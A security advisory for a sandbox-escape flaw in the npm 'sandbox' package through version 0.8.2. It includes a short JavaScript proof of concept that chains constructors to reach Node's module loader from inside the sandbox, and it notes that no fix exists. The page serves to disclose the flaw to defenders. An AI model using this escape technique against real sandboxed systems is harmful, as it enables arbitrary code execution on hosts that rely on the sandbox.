Security mailing lists by PureSourceCode

GHSA-fm4j-4xhm-xpwx

MEDIUM

Sandbox Breakout / Arbitrary Code Execution in sandbox

All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Published
2 Sep 2020
Last modified
3 Feb 2026
Sources
OSVJSON

Affected

SourceVendor / ecosystemProduct / packageAffected versionsFixed in
OSV npm sandbox >= 0.0.0

References

History

  • 25 Nov 2026 20:11 UTC · OSV: first stored (published 2 Sep 2020)
An unhandled error has occurred. Reload ×

Rejoining the server...

Rejoin failed... trying again in seconds.

Failed to rejoin.
Please retry or reload the page.

The session has been paused by the server.

Failed to resume the session.
Please retry or reload the page.